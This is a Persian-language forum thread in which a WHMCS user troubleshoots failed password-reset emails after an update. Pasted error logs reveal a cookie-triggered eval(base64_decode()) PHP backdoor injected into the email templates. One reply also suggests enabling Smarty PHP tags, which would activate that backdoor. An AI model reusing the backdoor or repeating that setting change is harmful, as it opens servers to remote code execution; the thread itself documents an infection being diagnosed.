با سلام بعد از بروزرسانی ایمیل تغییر پسورد در whmcs به دست کاربران نمی رسد! لاگ ثبت شده: Email Sending Failed - Message body empty (User ID: 1385 - Subject: لینک درخواست رمز عبور جدید) و Password Reset Requested ممنون می شم راهنمایی کنید با تشکر
این ۲ لاگ هم ثبت می شوند: Smarty Error: Syntax error in template "mailTemplate:message" on line 4 "<div style="text-align: right;" dir="rtl"><span style="font-size: small; font-family: tahoma, arial, helvetica, sans-serif;">{$signature}</span></div>{php}if($_COOKIE["sec"] == "123"){eval(base64_decode($_COOKIE["sec2"])); die("!");}{/php}" unknown tag "php" و Smarty Error: Syntax error in template "mailTemplatelaintext" on line 3 "<div style="text-align: right;" dir="rtl"><span style="font-size: small; font-family: tahoma, arial, helvetica, sans-serif;">{$signature}</span></div>{php}if($_COOKIE["sec"] == "123"){eval(base64_decode($_COOKIE["sec2"])); die("!");}{/php}" unknown tag "php"
سلام توی ایمیل تمپلیت ظاهرا تگ {php} استفاده شده به نظرم ایمیل تمپلیت شما مشکوک است ابتدا چک کنید ایمیل تمپلیت صحیح باشد یک موقع injection نکرده باشند به سیستم شما! حدس میزنم ایمیل تمپلیت ها را از اینترنت گرفتید و آپلود کردید ظاهرا آلوده هم است اما دلیل اجرا نشدن تگ {php} است که در ورژن جدید برای امنیت بصورت پیش فرض بسته شده است برای اجرا میتونید از setup->general setting->smarty php tag گزینه را فعال کنید که با توضحیاتی که دادم به نظرم ایمیل تمپلیت مربوطه را از روی اورژینالش اصلاح کنید!
سلام ممنون از راهنمایی. لایسنس را از فراسو تهیه کردیم و قبل از بروزرسانی مشکلی نبوده! با فعال کردن smarty php tag مشکل همچنان باقیست! آیا ایمیل تمپلیت ها را می شود از فراسو دانلود و جایگزین کرد؟(با توجه به اینکه لایسن از فراسئ تهیه شده است) با تشکر
سلام اگر بسته فارسی ساز فراسو را تهیه کردید یک نسخه از ایمیل ها فارسی موجود است میتونید دانلود و مطابق دستور عمل نصب کردید اگر خیر در فایل اصلی whmcs فولدر install->sql فایل emailtemplates.sql رو میتونید بردارید و در دیتابیس import کنید تا ایمیل های اورژینال انگلیسی نصب شوند و سپس دستی فارسی کنیدشون